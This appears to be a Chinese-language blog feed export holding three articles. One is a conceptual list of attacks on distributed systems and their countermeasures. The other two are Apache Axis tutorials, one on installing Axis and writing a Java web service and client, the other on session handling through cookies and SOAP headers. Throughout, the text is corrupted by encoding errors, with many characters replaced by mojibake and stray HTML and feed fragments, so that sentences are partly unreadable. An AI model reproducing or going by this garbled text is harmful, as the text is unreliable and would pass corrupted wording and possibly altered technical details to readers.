对分布式pȝ的攻d以分q个斚w。它们可以指向系l中的一个或多个LQ或指向它们之间的通信|\。攻ȝ目的可能是中断操作、获得机密信息或在系l内部执行未授权的操作。它们可能会dpȝ中所使用的加密技术或以安全性ؓ中心的其他技术，也可能企N过d下面的系l和|络层或上面的应用层来旁路它们。以下是一个简短的不全面的安全性攻ȝ及针ҎcLȝ标准对策的列表，它们是按上述的几个方面组l编排的Q?/P>
对主机的d
- 拒绝服务QDoSQDenial-of-ServiceQ攻击通过dL的响应能力来中断其操?
当指向加密层ӞDoS通常会尽力迫使主机反复执行特定n份验证或密钥交换协议所需的计代价高昂的公钥操作。对抗这cLȝ典型防M措施是gq公钥操作，直到对话者的合法性能够通过p较少的方法（如对U加密或“谜语”）来验证时为止。DoS对底层网l层或顶层应用层的攻dNԌ特别是在d者控制着大量资源且通信量处于正帔R信量难以觉察的情况下。要实现|络基础架构的部|Ԍ通常必须通过漏斗方式通信量降至一个可理水^?/P>
- L机密性或授权d企图泄露隐私或n?
q些d可能会利用主Y件中的薄q来获得对L的控制。适当的安全性管理，如安装补丁、配|防火墙以及削减暴露应用E序的特权，是比较常用的对策。另一cLd用系l或应用E序中的qQ如讄不正的{略或应用程序逻辑错误Q除了一般的L泄密以外Q它们还会考虑机密性或授权泄密。恰当的安全性策略管理和周密的应用程序设计是对付q类d的唯一防M措施。在“电子欺骗”攻MQ攻击者企N过冒用某一l过授权的其他方的n份ƈ做出相应的行为来获得对各U操作的授权。只要主机和l授权方切实保护好n份验证密码，q正用安全的w䆾验证协议Q就可以预防电子ƺ骗?/P>
寚w信|\的攻?/H2>
- DoS对网l的d试图中断与服务的通信
和对L|络层的d一Pq些d实也只能用网l基架构Ҏ来应寏V?/P>
- 对网l通信机密性的d企图在线泄露隐私
明文通信的直接监听可以通过加密来阻止。通过_强大的加密算法和_长的密钥Q密码分析攻M可以被扼制?/P>
- 对网l通信授权的攻M图泄露n?
d者企囑ְ消息插入会话的“消息伪造攻几Z和d者修改会话中发送的消息的消息，变更d都可以通过包含消息w䆾验证的消息安全性协议来L。攻击者将以前发送的Q因而通过了正的w䆾验证Q消息插入会话的消息重放Q攻d以通过序号或时间戳和消息缓存的l合来检和L?/P>
]]>
Axis是Apache的一个开源web service引擎。它目前最为成熟的开源web service引擎之一。下面我主要介绍一下如何用该Axis开发您的web service 服务?BR>
1.安装
以tomcat4.1为服务器Q下面说明如何安装axisQ?BR> 1.解压下蝲后的包，包中axis目录复制到tomcat目录下的webapps目录下；
2.axis/WEB-INF/lib目录下类文g复制到tomcat目录下的common/lib目录下；
3.重新启动tomcatQ?BR> 4.讉Khttp://localhost:8080/axis/happyaxis.jsp,如果能访问，表示安装成功Q?/P>
2.开发webservice服务
a.~写普通类文gQ如下所C：
//文g名：Test.java
import java.util.*;
public class Test{
//fields
private String name="gaga";
private int age=20;
private List items=new ArrayList();
//method at here.
public String getName(){
return name;
}
public int getAge(){
return age;
}
public List getItems(){
return items;
}
}
本文g(Test.java)复制到Axis目录下，q将其更名ؓTest.jwsQ?BR>b.讉Khttp://localhost:8080/axis/Test.jws,Axis׃~译该文Ӟq将光|到pȝ中；
下面你就可以开发web service的客LE序了；
3.开发客LE序
下面是客LE序Q?BR>import org.apache.axis.client.*;
import org.apache.axis.client.Call;
import org.apache.axis.client.Service;
import javax.xml.namespace.QName;
public class TestWebService{
public static void main(String args[]){
System.out.println("Start invoking....");
try {
String endpoint =
"http://localhost:8080/axis/Test.jws";//你写的那个文?BR>
Service service = new Service();
Call call = (Call) service.createCall();
call.setTargetEndpointAddress( new java.net.URL(endpoint) );
call.setOperationName("getAge");//填写你要调用的方法名U?BR>
int ret =Integer.parseInt(("" + call.invoke( new Object[] {} )));
System.out.println(ret);
} catch (Exception e) {
System.err.println(e.toString());
}
System.out.println("Finished the invoking.");
}
}
关于业务调用装到服务端E序里，然后部v可以了Q就q么单?BR>
4.资源
http://ws.apache.org/axis/
作者：郭徏?nbsp; gagaghost@gmail.com http://blog.itpub.net/gagaghost
]]>
在Web service中通常采用两种公认技术来理sessionQ一U是借助HTTP和HTTP cookiesQ另一U是用SOAP headers。Axis能帮你实现这两种技术?BR xmlns:fo="http://www.w3.org/1999/XSL/Format">by Kevin Jones
在Web service中没有一U管理session的标准方法，只有两种公认的技术，一U是依靠HTTP和HTTP cookiesQ另一U，或许也是最重要的一U方法，是用SOAP headers。Axis能帮助开发h员实现这两种技术?/P>
在Axis中缺省用的是HTTP managed sessions。在一个服务器中这么做是十分容易的Q因为大多数对Axis Web service的管理是通过org.apache.axis.MessageContext的一个实例来完成的。在一个Axis Web service中你可以通过调用MessageContextcM的静态方法来得到MessageContext的一个实例：
public class SessionService
{
public String echo(String in)
{
MessageContext mc =
MessageContext.getCurrentContext();
|
MessageContext中有一个名为setMaintainSession的方法，调用它便可激zsession。但在编写（Axis 1.1 RC2Q时Qsession对象只有在被讉K时才能激z，如下列代码所C：
public class SessionService
{
public String echo(String in)
{
MessageContext mc = MessageContext.
getCurrentContext();
Session session = mc.getSession();
String name = (String)session.get("name");
return in;
}
}
|
q样会导致Axis架构生成一个set-cookie headerQ?
Set-Cookie: JSESSIONID=49EBBB19A1B2F8D10EE075F6F14CB8C9; Path=/axissessions |
客户端需要在Cookie header中返回这个Cookie来保持该session。ؓ了axisq行状态下的客L能够实现q一点，必调用org.apache.axis.client.Service接口的setMaintainSessionҎ。该接口是由WSDL2Java生成工具所生成的Locatorcd现的。调用该Ҏ之后QAxis架构会自动将该cookieq回到服务器中：
public static void main(String[] args)
{
UseSessionsServiceLocator locator = new
UseSessionsServiceLocator();
locator.setMaintainSession(true);
|
header看v来就像这P
Cookie: JSESSIONID=49EBBB19A1B2F8D10EE075F6F14CB8C9 |
通过HTTP传输cookie是没有问题的Q但如果客户端或服务器不通过HTTPQ或使用的是通过多个Web services传入调用的multihop serviceQ那么这U方法就不那么有效了。一U更好的Ҏ是用SOAP headers来加载session id?
Axis架构支持多个Handlers。通过在一个Web servicehq程中调用调栈（call stackQ，Handlers能够被放|到很多地方Q它可以和传输过E结合v来，或者和一个Web service一起用。Handlers可以被插入其中来处理Web serviceh中的h?或响应语句?
Axis带有一个名为org.apache.axis.handlers.SimpleSessionHandler的handlerQ它用于提供Zsession理的SOAP header。要使用q个单的带有Web service的session handlerQ你必须告知Axis架构该handlerd到handler链中。你可以通过该handler信息d到server-config.wsdd来实现这一点；一个简单的处理Ҏ是定义一个包含额外配|Web service所需的WSDD文gQ然后用Axis部v工具来部|这个配|文件?/P>
q个WSDD文g看v来就像这P
<deployment xmlns=
"http://xml.apache.org/axis/wsdd/"
xmlns:java=
"http://xml.apache.org/axis/wsdd/
providers/java">
<handler name="session"
type="java:org.apache.axis.handlers.
SimpleSessionHandler"/>
<service name="Sessions" provider=
"java:RPC" style="wrapped">
<namespace>urn:kevinj:Sessions</namespace>
<requestFlow>
<handler type="session"/>
</requestFlow>
<responseFlow>
<handler type="session"/>
</responseFlow>
<parameter name="className" value=
"kevinj.UseSessions"/>
<parameter name="allowedMethods" value="*"/>
</service>
</deployment>
|
该handler是和service分开定义q引用的Q虽然你可以在service内部定义它。注意这个handler是同时ؓ了请求和响应而定义的Q这q保了q些headers能够在请求中被读取ƈd到响应中厅R你可以用这个管理工h部v它：
java -cp [classpath to axis bits here] /
org.apache.axis.client.AdminClient /
-lhttp://localhost/myservice/AxisServlet
deploy.wsdd
|
现在服务器就可以q行了，在用该handler时服务器无需处理M事情Q而headers能够自动被添加进去，像q样Q?
<soapenv:Header>
<ns1:sessionID soapenv:actor=""
soapenv:mustUnderstand="0"
xsi:type="xsd:long"
xmlns:ns1=
"http://xml.apache.org/axis/
session">
-1919645576528915916
</ns1:sessionID>
</soapenv:Header>
|
要用这个headerQWeb service客户端必能够读取它q了解其语法Q而Axis客户端可以解册个问题?/P>
要创Z个用这个简单session的Axis客户端，你需要配|Axis客户端框架来使用该handler。过E同服务器端很相|但不是部|到服务器，而是在本地创建config文g。你可以通过q行org.apache.axis.utils.Admin来实现这一炏V运行以下代码：
org.apache.axis.utils.Admin client deploy.wsdd |
q样创Z一个client-config.wsdd文gQ它同样也包含handler代码?
<?xml version="1.0" encoding="UTF-8"?>
<deployment xmlns=
"http://xml.apache.org/axis/wsdd/"
xmlns:java= "http://xml.apache.org/axis/
wsdd/providers/java">
<globalConfiguration>
<parameter name="adminPassword"
value="admin"/>
<parameter name="attachments.implementation"
value=
"org.apache.axis.attachments.
AttachmentsImpl"/>
<parameter name=
"sendMultiRefs" value="true"/>
<parameter name="sendXsiTypes" value=
"true"/>
<parameter name=
"sendXMLDeclaration" value="true"/>
<parameter name="axis.sendMinimizedElements"
value="true"/>
<requestFlow>
<handler type=
"java:org.apache.axis.handlers.
SimpleSessionHandler"/>
</requestFlow>
<responseFlow>
<handler type=
"java:org.apache.axis.handlers.
SimpleSessionHandler"/>
</responseFlow>
</globalConfiguration>
<handler name="session" type=
"java:org.apache.axis.handlers.
SimpleSessionHandler"/>
<service name="Sessions" provider=
"java:RPC" style="wrapped" use="literal">
<requestFlow>
<handler type="session"/>
</requestFlow>
<responseFlow>
<handler type="session"/>
</responseFlow>
<parameter name="allowedMethods" value="*"/>
<parameter name="className" value=
"kevinj.UseSessions"/>
<namespace>urn:kevinj:Sessions</namespace>
</service>
<transport name="java" pivot=
"java:org.apache.axis.transport.
java.JavaSender"/>
<transport name="http" pivot=
"java:org.apache.axis.transport.
http.HTTPSender"/>
<transport name="local" pivot=
"java:org.apache.axis.transport.
local.LocalSender"/>
</deployment>
|
Z使客L能够利用q个handlerQ你必须client-config.wsdd文gd到客L的classpath中。然后由Axis框架代表客户端来dq响应这些headers。同P客户端代码无需处理M事情便可以用它了?
关于作?
Kevin Jones是一名有着15q开发经验的开发h员。最q四q来Q他一直从事Java~程斚w的研I和教学Q最q， 他主要研IHTTP和XML。Kevin住在U.K.Q他为Developmentor工作Q这是一家以United States 和Europe为基圎ͼ主要做Java和Microsoftq_的技术培训的公司。Kevin的联pL式是Q?A href="mailto:kevinj@develop.com" target=_blank xmlns:fo="http://www.w3.org/1999/XSL/Format">kevinj@develop.com?img src ="http://m.tkk7.com/kapok/aggbug/10062.html" width = "1" height = "1" />
]]>